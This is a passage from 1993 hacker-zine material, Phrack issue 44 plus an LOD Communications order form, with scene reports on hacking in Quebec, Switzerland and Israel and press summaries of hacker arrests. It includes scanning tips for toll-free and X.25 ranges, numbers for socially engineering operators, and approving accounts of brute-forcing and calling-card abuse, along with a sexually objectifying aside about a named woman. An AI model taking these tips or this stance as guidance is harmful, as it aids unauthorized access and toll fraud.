LODCOM is currently organizing and splicing messages from over 30 more H/P BBSes [shown below] and, as the files are completed and/or as additional messages are procured for the above systems, updates of this listing will be released. Modem Over Manhattan (MOM), 8BBS (213), Mines of Moria (713), Pirates Cove (516) sysop: BlackBeard, Catch‑22 (617) sysop: Silver Spy, Phreak Klass 2600 (806) sysop: The Egyptian Lover, Blottoland (216) sysop:King Blotto, Osuny 2 (a.k.a. The Crystal Palace) (914), Split Infinity (408), The Hearing Aid, Shadowland (303) sysop: The ShadowMaster, ShadowSpawn (219) sysop: Psychic Warlord, IROC (817) sysop: The Silver Sabre, FreeWorld II (301) sysop: Major Havoc, Planet Earth (714), Ripco (312) sysop: Dr. Ripco, Hackers Heaven (217) sysop: Jedi Warrior, Demon Roach Underground (806) sysop: Swamp Ratte, Stronghold East Elite (516) sysop: Slave Driver, Pure Nihilism, 5th Amendment (713) sysop: Micron, Newsweek Elite (617) sysop: Micro Man, Lunatic Labs (415) sysop: The Mad Alchemist, Laser Beam (314), Hackers Den (718) sysop: Red Knight, The Freezer (305) sysop: Mr. Cool, The Boca Harbour (305) sysop: Boca Bandit, The Armoury (201) sysop: The Mace, Digital Logic's Data Center (305) sysop: Digital Logic, Asgard (201), The KGB, PBS (702), Lost City of Atlantis sysop: The Lineman, and more.

*** Hacking/Phreaking Tutorials a.k.a. "G‑Philes": ***

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Along with the above H/P BBS Message Bases, LODCOM has collected many of the old "philes" that were written and disseminated over the years. A list of all of them would take up too much space here, however, we can tell you that the majority are NOT files that were originally written for electronic newsletters such as Phrack, PHUN, ATI, etc. (with the perhaps obvious exception of the LOD/H Technical Journal). Those files/newsletters are readily available from other sources. This hodgepodge includes files that somehow fell out of widespread circulation. A Table of Contents of the collection is included but the tutorials are all grouped together in four large files of approximately 250K each.

UPDATE/ADDITION: A collection of material is being compiled from the H/P BBS Message Bases and Files along with other sources that is an organized conglomeration of all the writings of all the ex‑members of the Legion of Doom/Hackers group. It also includes private LOD/H Group sub‑board message bases that resided on the LOD BBS (1984), Catch‑22 (1985), Phoenix Project (1988), and Black Ice Private (1988) that were NOT included in those BBSes' Message Bases. BBS Messages from before and after each member entered the group along with any files they wrote will be organized, by member name, into individual files. This is being done more for ourselves than anything else as we are curious how much material was created over the years. Note that this special collection of files will be sent to you around the same time that Volume III is sent out and is free for ordering BOTH, the G‑Phile Collection mentioned above, and the Message Base Files.

*** The Order Form: ***

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ C U T ‑ H E R E ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

LOD Communications H/P BBS Message Base ORDER FORM

~~~~~~~~~~~~~~~~~~~~~~~~~

PERSONAL RATE: Volumes 1, 2, 3, and possibly a fourth if created: $39.00 This price is total & includes any updates to individual BBS Message Bases.

COMMERCIAL RATE: Corporations, Universities, Libraries, and Government Agencies: $99.00 As above, price is total and includes updates.

H/P BBS Message Bases (All Volumes): $________

"G‑Phile" Collection (Optional): $____________ ($10.00 Personal)

25.00 Commercial)

Disk Format/Type of Computer: _____________________________________

(Please be sure to specify diskette size [5.25" or 3.5"] and high/low density)

File Archive Method (.ZIP [preferred], .ARJ, .LHZ, .Z, .TAR) ____________ (ASCII [Non‑Compressed] add $5.00 to order)

Texas Residents add 8% Sales Tax.

If outside North America please add $6.00 for Shipping & Handling.

Total Amount (In U.S. Dollars): $ ___________

Payment Method: Check or Money Order please.

Absolutely NO Credit Cards, even if it's yours :‑)

By purchasing these works, the Purchaser agrees to abide by all applicable U.S. Copyright Laws to not distribute or reproduce, electronically or otherwise, in part or in whole, any part of the Work(s) without express written permission from LOD Communications.

Send To:

Name: _____________________________________

Organization: _____________________________________ If applicable)

Street: _____________________________________

City/State/Zip: _____________________________________

Country: _____________________________________

E‑mail address: _____________________________________ If applicable)

PRIVACY NOTICE: The information provided to LOD Communications is used for sending orders and periodic updates to the H/P BBS Message Base Price List. It will NOT be given or sold to any other party. Period.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ C U T ‑ H E R E ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Remit To: LOD Communications

603 W. 13th

Suite 1A‑278

Austin, Texas USA 78701

Lodcom can also be contacted via E‑mail: lodcom@mindvox.phantom.com Voice Mail: 512‑448‑5098

_______________________________________

End Order File V.2

LOD Communications: Leaders in Engineering, Social and Otherwise ;)

Email: lodcom@mindvox.phantom.com

Voice Mail: 512‑448‑5098

Snail Mail: LOD Communications

603 W. 13th

Suite 1A‑278

Austin, Texas USA 78701

MOD Family Portrait

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 24 of 27

****************************************

COURTESY OF THE UNITED STATES SECRET SERVICE

THE MASTERS OF DECEPTION "MOD" CIRCA NOVEMBER 1990

GIF87A FORMAT, GREYSCALE

begin 644 mod.gif

Gail Takes A Break

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 25 of 27

****************************************

begin 777 gail.gif

International Scenes

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 26 of 27

****************************************

International Scenes

There was once a time when hackers were basically isolated. It was almost unheard of to run into hackers from countries other than the United States. Then in the mid 1980's thanks largely to the existence of chat systems accessible through X.25 networks like Altger, tchh and QSD, hackers world‑wide began to run into each other. They began to talk, trade information, and learn from each other. Separate and diverse subcultures began to merge into one collective scene and has brought us the hacking subculture we know today. A subculture that knows no borders, one whose denizens share the common goal of liberating information from its corporate shackles.

With the incredible proliferation of the Internet around the globe, this group is growing by leaps and bounds. With this in mind, we want to help further unite the communities in various countries by shedding light onto the hacking scenes that exist there. We have been requesting files from people to describe the hacking scene in their country, but unfortunately, more people volunteered than followed through (you know who you are.) This issue we want to introduce you to the scenes in Quebec, Sweden and Israel.

****************************************

What is going on in the 418 scene By Gurney Halleck of NPC

Believe it or not, there are hackers and phreakers in the 418 AC and people are just starting to hear from us. There are only two real H/P BBS in Quebec City, The Workshop and Miranda BBS. The first one is a NPC hang out (Northern Phun Co.), a local Hacker/Phreaker group that has a certain fame, just read Phone Pirates, a recent book by two Toronto journalists.... The other one is considered a little bit lame by some. Personally, I am friends with the sysops, they're not real hackers, but generally nice guys.

Here are some names you might have seen in the H/P scene, Blizkreig, SubHuman Punisher, KERMIT, Atreid Bevatron, Coaxial Karma, Mental Floss, Fairy Dust, Evil‑E, Black Head, Santa Claus, Blue Angel Dream, myself of course and probably many more I have forgotten to mention. (sorry)

NPC Publishes a monthly magazine and will be celebrating their first anniversary on November 1st 1993. They have been on national TV and press for breaking into the computer of the prime minister's cabinet.

In 418, there is only one Internet Node, at Laval University, and to get a legal account on one of their systems, be ready to shell out 90$ a month. No kid can pay that much, so that's why there are so many hackers. They hack anything from old VAX/VMS machines to brand new Suns and Datapac and Edupac.

Back in April of 1993, a hacker, Coaxial Karma, was arrested for trying to "brute force" into saphir.ulaval.ca, a cluster VAX/VMS. He was working from information from another hacker, myself, that there were many "virgin" accounts (account that were issued but never used) and that these accounts all had a four letter (just letters) password. So he proceeded to brute force the computer, after 72000 tries, he finally got in. An operator, entirely by chance, found the logs for the 72000 failed logins for one account on saphir, an proceeded to call the police. The hacker, being a juvenile, got by easily, not even loosing his computer.

On September 30th, another hacker, SubHuman Punisher, was arrested by the RCMP. It all started a long time ago, when people started hacking into Laval University's systems. First, they installed a password on their terminal servers, just one password, the same for everybody! Needless to say, everybody knew it. Second, most sys‑admins knew next to nothing about security, so when they found intruders, they could not keep them out. Enter Jocelyn Picard, sysadmin of the GEL subdomain and security expert. He does his job and does it well. He kicked them out for a long time. (I personally do not think it was his idea to call the RCMP.)

After a while, the hackers where back with a vengeance and using Laval's systems to hack other systems. So the guys from the CTI (Centre de Traitement de l'Information) decided to call the authorities. Bell monitored the phone lines from Sept 16th to Sept 30th. Systems in the ERE hierarchy in the umontreal.ca domain were also logged for Internet activity. On the 30th, 2 hackers where arrested. Both of them, their only crime was wanting to be on the internet. Now is that so bad?

I only knew one of the two, SubHuman Punisher, so I'll tell you what happened to him. He was charged with theft of telecomunications (that charge has been dropped) and for illegally using a computer. A new charge as been added after they drop the first one: copyright infringement. All his equipment was taken away. We don't think he'll get by as easily as the first electronic martyr of 418 (as we like to call him). This time it looks serious. So we at NPC have started a relief fund for his legal defense, The "Fond de Defense SubHuman Punisher" ( the SubHuman Punisher defense fund).

All contributions are welcomed, write to:

FDSP

886 St‑Vallier St. app 7

Quebec City, Qc

Canada, G1K 3R4

****************************************

The Swiss Scene

by Holz

Welcome to Switzerland, the country that's famous for, ehmm err, well now famous for... come to think of it....nothing really.

Well, for those of you that didn't pay much attention at high school: Switzerland is a rather unimportant country (to anyone but the Swiss) in the middle of Europe with about 7*10^6 inhabitants and some light industry.

Networks in Switzerland

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Switzerland has two internet providers, SWITCH and CHUUG. Lets deal with them in that order. SWITCH was originally formed from a consortium of the 9 (?) or so universities in Switzerland. It's purpose was linking the universities in Switzerland and providing access to international networks for their researchers. SWITCH is linked to the nfsnet via CERN (the European center for nuclear research in Geneva) and INRIA in France. SWITCH's Customers are almost exclusively universities or large corporations, they don't cater much to individuals. Most of the Network operates at 2..10 Mb/sec, SWITCH uses cisco hardware.

The other provider, CHUUG, founded by Simon Poole does cater to individuals (they offer some for of pub access unix, + slip + uucp/news/mail feed), their links, which last time I looked went via Germany and Holland are somewhat slower. CHUUG also links some smaller companies (improware for instance) Apart from the Swiss Internet, there is a DECNET based Network called CHADNET, managed by SWITCH which also links the Swiss universities. There is even a gateway to HEPNET and SPAN at the Paul Schaerrer Institute (PSI) in Zuerich. Due to the restrictions in DECNET you need to use poor man's routing to get anywhere.

Some of the universities have non ip internal networks, the most notable being KOMETH, which links the university of Zuerich and the ETHZ, most universities however just use their ethernets and don't have any fancy hardware. Apart from this Switzerland has it's own PDN, Telepac, operated by the Swiss Ptt (our federal telecommunications agency) with dnic 2284. This network is accessible at speeds of up to 9600 bps at a fixed charge all over the country. Apart from Telepac their are several other x25 based networks directly accessible from Switzerland, notable Sprintnet, with dialins in Zuerich and Bern, Tymnet with Dialins in Zuerich and Neuchatel, and Infonet. Last but not least Switzerland has a national vtx system (which i've never used, and i'm proud of that) called Videotext, which is linked to BTX in Germany, Prestel in England and Minitel in France. The only reason for using was the fact that up till recently it could be accessed for free via our equivalent of the 1‑800 number (ours start with 155). The ptt now claims that this was a "mistake" (some mistake considering it lasted for two years and was used by everyone and his dog.....but I digress.)

Hacking in Switzerland

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well there's not much of a scene here. I have known a few (5‑10) Swiss hackers and one or two good ones, but that doesn't go very far. As for boards, I can't think of any right now. BGB (with nua 0208046451064) used to have a hacker corner, but that's been closed for some years now I think. Pegasus (022847521257) which runs on a vax under vms is quite a nice system, where on occasion you meet people with an interest in vms.

I don't know of any conventions in Switzerland, we've tried to organize one once (we ended up with three people). Hacking incidentally is illegal in Switzerland, but only as of this year.

Phreaking in Switzerland

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I don't know much about Phreaking (anything ?). The Swiss telephone system is a very modern one, and nearly identical to the one in Sweden. This means that any of the old methods suitable for older exchanges (most notable blue boxing) don't work. There are some limited possibilities via our 1‑800 system, but Switzerland phone systems aren't easily abused. The switches incidentally are Siemens AX‑10 (does that meen anything to anybody ?) I know of one or two good phreaks (rather than card abusers) in Switzerland. Phreaking and any messing with telephones, unlike hacking, has always been illegal in Switzerland.

Some Incidents

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well here's for old times sake. (doubt this can do any harm any more)

1)

I've already mentioned the Swiss X.25 Network Telepac. To use this you need a nui, which is usually an 8 character string, and a password, which is six characters, mixed upper and lower case + usually numbers. Well obviously the ptt has nuis for internal use, as in this case the one for the employees of the ptt headquarters in Bern. The nui it seems was available to all the employees needing access and someone let the secret get out... so for two years every hacker in Switzerland used this nui to make x25 calls round the world. In fact it became so popular that the German hackers near the border found it worth their while to pay the ld charges to Switzerland just so they could use this nui. Eventually someone noticed. The cost must have been phenomenal.

2)

An acquaintance got into the Vax cluster of BAG (our equivalent to NIH). The people at BAG eventually noticed and kicked him out. In their press release to the incident, while being forced to admit that someone had got in they made a firm point of how 'secure' they were, and explained that it was impossible that anyone had seen any personal data on People registered as HIV positive. Well this was such an obvious cover‑up that my acquaintance decided to give them a piece of his mind, so he called the national radio, and gave them an interview live on his motives and accomplishments. BAG continued to deny his version (but changed all their passwords.)

****************************************

The Israeli Scene

by

Herd Beast

Didn't you always want to know about the "scene" in Israel?

YOU WILL...

A SMALL OVERVIEW

****************

This article was written after I read Phracks 42/43, and the idea seemed good. I am not affiliated with any person or any group mentioned in this file.

It's hard to describe the "Israeli scene", so I will start with a short description of the state of technology in Israel.

TECHNOLOGY

**********

The Israeli telephone system isn't very advanced. Most of the country still doesn't even have tone dialing, and while the phone company has rAd plans about installing CLID and a pack full of other exciting things, the fact remains that half the country breathes rotary phones and analog lines. Pathetic as it seems, it still means that tracing someone through the phone lines can be rather hard; it also means that K0D3 scanning is abundant.

After the telephones comes the X.25 connection, Isranet: DNIC 4251. Isranet used to be a "hassle free system", eg every 11 year old could get a NUI and use it, and NUIs lasted. Those merry times in which practically everyone who had a modem was an X.25 "hacker" are almost over. The weakness of Isranet (the telco's fault!) is why if you happened upon QSD some years ago, you would have probably noticed that after Italian lesbians, Israelis lurked there the most. Recently, Isranet switched systems. The old system that just prompted NUI? and ADD? is gone, and in came the SprintNet (Telenet) system. It is now generally believed that Isranet is un‑crackable. Way to go, Sprint, ahem.

Amongst other thing the Israeli phone company supplies besides an X.25 network is an information service (like 411) through modem, e‑mail/FAX and database systems (a branch of AT&T EasyLink) and a bunch of other things. Not to forget the usual "alien" connections, like a TYMUSA connection (with very low access levels), and toll free numbers to the AT&T USA*Direct service and sexy‑sounding MCI & Sprint operators.

To my knowledge, cellular telephony among phreaks in Israel is virtually non existent, (that is to say, when talking to phreaks, none of them seems to care about cellular phones at all, for different reasons one of them being the starting price which is high), which is a pity but is also a blessing since security is lax and besides, the Israeli cell phone market is monopolized by Motorola (whose cell phones re known as "Pele Phones" which means "Wonder Phones").

As you might have understood, up until lately, the Israeli phone company (Bezeq) wasn't very aware of security and boring stuff like that. Now it's becoming increasingly aware, although not quite enough. The notion in Israel is that hackers are like computer geniuses who can get into ANYWHERE, and when last did you see someone like that? So basically, corporate security is lax (does "unpassworded superuser account" ring a bell?), although not always that lax.

Last but not least are the elytee ‑‑ the computer literate public. These are most of the people in charge of machines on the *.il domain on the Internet. Security there is better than usual, with (for example) "correct password" rules being observed, but (another example) with holes like /usr/lib/expreserve on SunOS still open. For this reason, there is a difference between hackers in Israel. There are university students who play around with the Internet, hack, and are usually not aware that there is a bigger hacking community beyond IRC. Then, there are the modemers, who use modems and all the other things, but are generally not as proficient, since Internet access in Israel is given only to university people and employees of the very few companies who have Internet connections. (The notion of public access Unix exists, but access costs $50 a month and to get it one must have approval of the ministry of communication because of an old law; and since calling up a system and running by all the defaults usually does not work, not everyone has access to the Internet.)

Calling card abuse is very popular in Israel, because Bezeq cannot find abusers and really doesn't care. Therefore there are a lot of pirates in Israel who are in very good touch with American pirate groups, and this includes the works ‑ crackers, artist, couriers. If you know a bit about the pirate community, good for you.

Hackers as in computer hackers are a little rarer. To become a hacker you need to pass some grueling tests. First, you resist the lures of becoming a calling card and download junkie. Then, you have to become proficient from nothing. Finally most of the Israeli hacking community

hacks for the single reason that goes something like "get into QSD", "get into IRC" (without paying). Not very idealistic, but it works...

Assuming you passed all these stages, let's say you are 18... and you go to 3 years in the army. Did I forget to mention that serving in the army is mandatory in Israel? Not really relevant, but that's life in Israel, and when you leave the army, you usually forget about hacking.

Up until now I was just explaining things. Now..

THE PARTICULARS

***************

I will concentrate on the "modemers" in this section, so first about the students. You may know this, but there is a lot of "bad" Internet traffic on *.il, in the form of pirate/virus FTPs and stuff like that. If you read Usenet, you probably saw at some time a wise ass post such a site. These are usually the works of students. To be honest, that's as much as I know, since I'm not a student and my stupidity is not so high as to assume every Internet user from *.il is a student...

The "serious" modemers hackers don't really hang out in big groups. They have close friends or work alone, so there is nothing like Israeli ######Cons. I can't make an estimate of the actual amount of hacking done in Israel, but I do know that a lot of people got drafted lately. Other than that, there are a lot of Israelis hanging around on IRC (if you're into that), but they usually work like k0D3 k0ll3kt0rZ, only instead of codes they collect Unix account.

In a country that has fewer people than NYC, the total number of people who actually have modems and do hack AND know what they're doing is not so large, which is why until now my description didn't sound very pretty. But considering these facts, they're actually not bad.

There are some "underground" groups in Israel. Not exactly groups as magazines ‑‑ if there is one thing Israel is full of it's local magazines. These are usually small releases featuring things like "FTP Tutorial" and "Pascal Trojan" along with several oh‑so‑accurate anarchy files. The most prominent, and in the fact the only magazine to have lasted beyond one issue is called IRA (International Raging Anarchists).

For the sake of the pirates, an Israeli formed group that also has American members is called HaSP; it usually releases cracks for all kinds of software.

THE NETWORK

***********

Some time ago there was an attempt to bring up a hacking network in Israel. It was called the IHPG (Israeli Hack Phreak Group) and was a bunch of FidoNet‑style echos passed between underground boards. The subjects on hand were hacking, phreaking, trojans, and viruses. At first there was a genuine attempt to make things happen, but almost no one shared information (more accurately, accounts/passwords/codes) and the net slowly died out. To my information it is still operational on around 3 boards around Israel, with something like 3 posts per month.

LAW AND ORDER

*************

The law and the establishment in Israel are divided. For starters, there is the wide public opinion among the public that every hacker, in particular those who get caught are computer geniuses. Therefore, in a lot of cases where hackers (usually university students) get caught, they are given a better position within the computer staff, or are later hired by a company (no matter what for ‑‑ and it's not always security). Although police and Bezeq do preach that hacking is a crime etc, I seriously doubt that there will be such an outrage among computer people if someone was to go on and build an Israeli ComSec (as an example).

Police has a very limited staff assigned to computer investigations, (along the lines of 1‑2 officers), and they are in charge of everything; this means they should check calling carders, but also on bank embezzlers who keep information on "secure" floppies. Guess which cases get priority? Of course, there is still the phone company and when things get more serious more man force is issued.

>From time to time, however, there are arrests (see PWN on Phrack 35, 38 elsewhere). These usually involve (in the case of the guy described on Phrack 35) a tip from police overseas, who kept bugging the Israeli police until they made a move, or idiots who sell things. The guy in the Phrack 35 World News, Deri Schreibman, was arrested after he supplied credit cards to people in the U.S. and Canada, who turned him in when they got caught. He himself turned in a lot of people, but his information "just" led to them being visited. Nothing much has been heard about that since, but his case got a lot of publicity because he had a lot of computer equipment, including this/that‑boxes, and was said to have broken in Washington Post and the Pentagon. After him, there have been raids on hackers but nothing serious happened to them, and the news coverage was not incredible. A year or so ago one total asshole went on a national show (nothing like Geraldo) and told everyone how he too, abused Isranet and the Washington Post; he also claimed that Bezeq didn't have a clue and that was why he wasn't afraid. He was visited and his equipment was taken. At much earlier times there was a teenager who changed an article on the last page on an Israeli newspaper to say that his math teacher had been arrested for drug dealing; he got to write a computer program to aid blind and deaf people. That is the general way busts go on in Israel, because there is no such great danger as to even warrant dreams of something like Sundevil. There are also sometimes problems in the army, but they are dealt with internally, by the army (I don't think anyone gets shot though).

When a bust occurred, usually many people quit fooling around with Isranet for a while, because all those who did get caught were doing the same things with Isranet. But except for that, there were no great waves in the pond after busts, except again for the Deri S. case. This is due simply to the fact that hackers, in Israel and usually anywhere else, simply don't amount to the amount of problems "professional" criminals make to the police, (the same way Israeli software houses chase down pirating firms and not boards), and since Israel doesn't have an FBI and/or USSS the law isn't going around pointing guns at hackers.

HACKING IN ISRAEL

*****************

Hacking or phreaking in Israel in not very sophisticated. The average Israeli can scan all he likes; Israeli toll free numbers in the format of 177+Country Code+XXXX exist to almost every country. This means that by dialing 177 (= 1‑800), a country code (440 for the UK, 100 for AT&T, 150 for MCI, etc), and a number on the XXXX format, you have a chance of connecting to a number in country whose country code you're using. Voice mail systems, modems and other things can be found there (h00ray!).

There are also calling cards and X.25 and 056 (= 1‑900) scams, etc, etc.

A nice way to start scanning (if anyone is interested) the 4251 DNIC is based on area codes (yes, just like Telenet). For example, a lot of systems in the 04 area code will be somewhere at: 4251 400 ... This might lead to disappointing results, though, since most systems use Hebrew (most interesting systems). The best way to get Israeli area codes is by using a file on international country/area codes put out a while ago... Funny, but it's more accurate than a C&P phone book.

If you're into social engineering foreigners, give 1 800 477‑5664 (AT&T) or 1 800 477‑2354 (MCI) a call. These will get you to an Israeli operator who will be happy to place a call for you, if you're into experimenting (another one of Bezeq's new services, called Israel*Direct... also available from the UK, Ireland, Germany and more.)

CONCLUSION

**********

I hope you have learned about the Israeli scene. My purpose was NOT to dis anything, it was to show that even though we live in this global village of networks and electronic data exchange (ohh), living in outer butt‑fuck (I did not invent this term) has its advantages, in the form of basic stupidity, and its disadvantages in the form of lack of technology and organization in the community. Yeah.

Phrack World News

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 27 of 27

PWN PWN PNW PNW PNW PNW PNW PNW PNW PNW PNW PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Feds Pull The Plug On Phiber Optik November 4, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Joshua Quitner (Newsday) (Page 57)

The biggest case of computer intrusion in US history drew to a close yesterday when a young Elmhurst, Queens, man was sentenced to a year and a day in jail for his part in an electronic gang that, for years, roamed the nation's largest telephone and data networks.

Mark Abene, 21, renowned in the digital underground as Phiber Optik, was the last of five young New York City men to plead guilty in federal court to one felony count of conspiracy for being in a hacker group known as MOD.

Abene apologized for his deeds yesterday. "I'm just sorry they were misconstrued as malicious in any way," he said in Manhattan's federal district court.

Prosecutors claimed that the young men rumbled on computer networks, disconnecting other hackers' phone service and posting embarrassing information culled from confidential credit networks like TRW on underground bulletin boards. They also used their power skills to get telephone numbers or credit reports for celebrities, including Julia Roberts, John Gotti, Geraldo Rivera, Christina Applegate and Mad Magazine founder William Gaines.

John Lee, 22, a co‑defendant is now serving a one year sentence in a "shock incarceration" boot camp in Lewisburg, PA. Lee and Julio Fernandez, 18, were the only gang members who made money from the two years of break‑ins.

In addition to Lee and Fernandez, Paul Stira, 23, of Cambria Heights, Queens, and Elias Ladopoulos, 24, of Jamaica, Queens, are serving six‑month sentences in federal prisons in Pennsylvania. Fernandez has been cooperating with authorities and is not expected to be jailed.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Computer Caper Is Unpluged

~~~~~~~~~~~~~~~~~~~~~~~~~~ October 1, 1993

by Tim Bryant (St. Louis Dispatch) (Page A1)

Investigators said 18‑year‑old computer hacker Paul J. Gray of Creve Coeur, MO, was arrested on a state charge of tampering with computer data, a misdemeanor. The college freshman reportedly used his home computer to spy electronically on files of a federal appeals court and charge long‑distance telephone calls to Mercantile Bank

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Teen Hacker Admits Having Illegal Credit Information June 17, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by James McClear (Detroit News) (Page B7)

Ander Monson, 18, of Houghton, MI, whose electronic misadventures uploaded him into the high‑tech world of computer fraud, pleaded guilty in Oakland County Probate Court to illegal possession of credit card information.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In The Jungle Of MUD September 13, 1993

~~~~~~~~~~~~~~~~~~~~

by Ellen Germain (Time) (Page 61)

Virtual worlds you can hook into‑‑and get hooked on‑‑are the latest rage on the computer networks.

[Ah, yes, Virtual Reality as perceived through the minds of the computer illiterate. But wait, it's electronic crack! Keep an eye out for your children!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NCIC Abuse ‑ Is Legislation The Answer October, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Brian Miller

Confidential information is being illegally released from the National Crime Information Center network. But abuse of the system is difficult to detect, and those caught are seldom punished.

A former law enforcement officer tracked town his ex‑girlfriend with information from an FBI‑run law enforcement information system. Then he killed her.

A terminal operator in Pennsylvania used the same system to conduct background searches for her drug dealing boyfriend to see if his customers were undercover agents.

It is hard to trace abuse to a single user because many agencies don't require personal access codes which would keep track of who made specific inquiries on the system and when they occurred. The General Accounting Office polled all the states and found that 17 don't require a personal code to access the NCIC. Most of these had an identifier only for the terminal or agency accessing the system.

And if someone is caught abusing the system, they are seldom charged with a crime. The GAO found that the most common penalty was a reprimand, with some suspensions and firings. Of the 56 cases of abuse found by the GAO, only seven people were prosecuted.

The FBI cannot force the states to adopt certain security measures because compliance with the guidelines is voluntary. The reason for this is that the guts of the NCIC come from the states, and the FBI simply maintains the network.

"The main thing that can be done today is to enforce the law, and create stronger penalties for abusing the system," said Marc Rotenbertg of Computer Professionals for Social Responsibility, an advocacy group based in Palo Alto, California.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Live Wires September 6, 1993

~~~~~~~~~~

by Barbara Kantrowitz et.al. (Time) (Page 63)

&

Technoid Circus

~~~~~~~~~~~~~~~

by Rex Weiner (Spin) (Page 72) September, 1993

[K‑K00l cYbUR P|_|n|< aRt1Cl3zzzz

Jump On The Cyber Bandwagon!

More Journalists ride that old info highway straight to HELL!]

** BUT WAIT! A "Cyber" article we can all dig! **

Speciale Cyber Settembre, 1993

~~~~~~~~~~~~~~

di Sergio Stingo (King) (P. 131)

Il cyberpunk: tutti ne parlano, ma pochi sanno cosa sia veramente. Libri elettronici? Scenari inquietanti del futuro prossimo venturo? Conferenze telematiche? Nuovi tipi di abbigliamento usa‑e‑getta? La piu' grande rivoluzione democratica dei nostri anni? Una rivoluzione strisciante e silenziosa? Ia nostro stingo, sempre curioso del <<nuovo>>, S'e' messo a girare l'italia per iundagare il fenomeno. E' stato come scoperchiare una pentola in ebollizione. Piu' incontrava <<cyber>> e piu' scopriva che c'era da scoprire. Dal teorico della <<brain machine>>, che sperimenta l'oggetto misterioso tra discoteche e universita', alla prima galleria dove sono esposte opere di hacker art. Dalle riviste‑bandiera del cyber, come <<decoder>>, alle band che stanno inventando una nuova musica. Per non parlare del sesso, che grazie alla tecnologia cerca di ampliare la gamma delle sensazioni possibili. Insomma, il viaggio oltre i confini di questo mondo e' stato talmente ricco e avventuroso, che abbiamo dovuto suddividere il reportage in due puntate. In questo numero presentiamo la prima. E, come si dice tra cybernauti, buona navigazione.

[I don't know what that says, but its in another language, so it has to be cooler than the American CyberCrap]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Security Products Abound, But Is Toll Fraud Too Tough? August 30, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Dan O'Shea (Telephony) (Page 7)

Telecommunications toll fraud is an increasingly popular crime that collectively costs its victims billions of dollars each year. Although carriers have responded with a wave of security products and services, the problem might be much bigger than was once thought.

Some carriers claim that industry wide toll fraud losses amount to between $2 billion and $5 billion a year, but the true figure is closer to $8 billion, according to Bernie Milligan, president of CTF Specialists Inc.,

a consulting group that studies toll fraud and markets security services to large corporate telecommunications users. [ed: remember HoHo Con? Yes...THAT Bernie]

Toll fraud involving calls coming into AT&T's 800 network dropped 75% since the introduction of NetProtect, while Sprint estimates a 95% decrease from last year (since the introduction of their fraud detection service). Average losses across the industry have plummeted from $120,000 per incident to $45,000.

Despite the offensive against telecom fraud, the problem persists and is becoming more frequent, and new technologies will only represent potential new adventures for hackers, CFT's Milligan said. Hacker activity is growing at an annual rate of 35%. Some 65% to 80% of toll fraud involves international calling, and fraud occurs on a much wider scale than just inbound 800 calls, Milligan said. So, while losses of this type of fraud drop, collective fraud losses are increasing by 25% each year. Customers are still liable financially in toll fraud cases, and the carriers continue to get paid.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Misfit Millionaires December, 1993

~~~~~~~~~~~~~~~~~~~

by Steve Fishman (Details) (Page 158)

[Author profiles several of the early Microsoft programmers, namely Richard Brodie, Jabe Blumenthal, Kevin DeGraaf, Neil Konzen and Doug Klunder]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Intercourse With Lisa Palac 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Melissa Plotsky (Axcess) (Page 62)

&

Turned On By Technology In The World Of Cybersex August 30, 1993

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Marco R. della Cava (USA Today) (Page 4D)

[An interview and an overview dealing with online nastiness. Lisa Palac editor of Future Sex and producer of Cyborgasm talks about all kinds of stuff. As a regular peruser of Future Sex (for the articles of course) I can't help but wonder why we haven't seen HER naked yet. Email her at futursex@well.sf.ca.us and demand some gifs.]

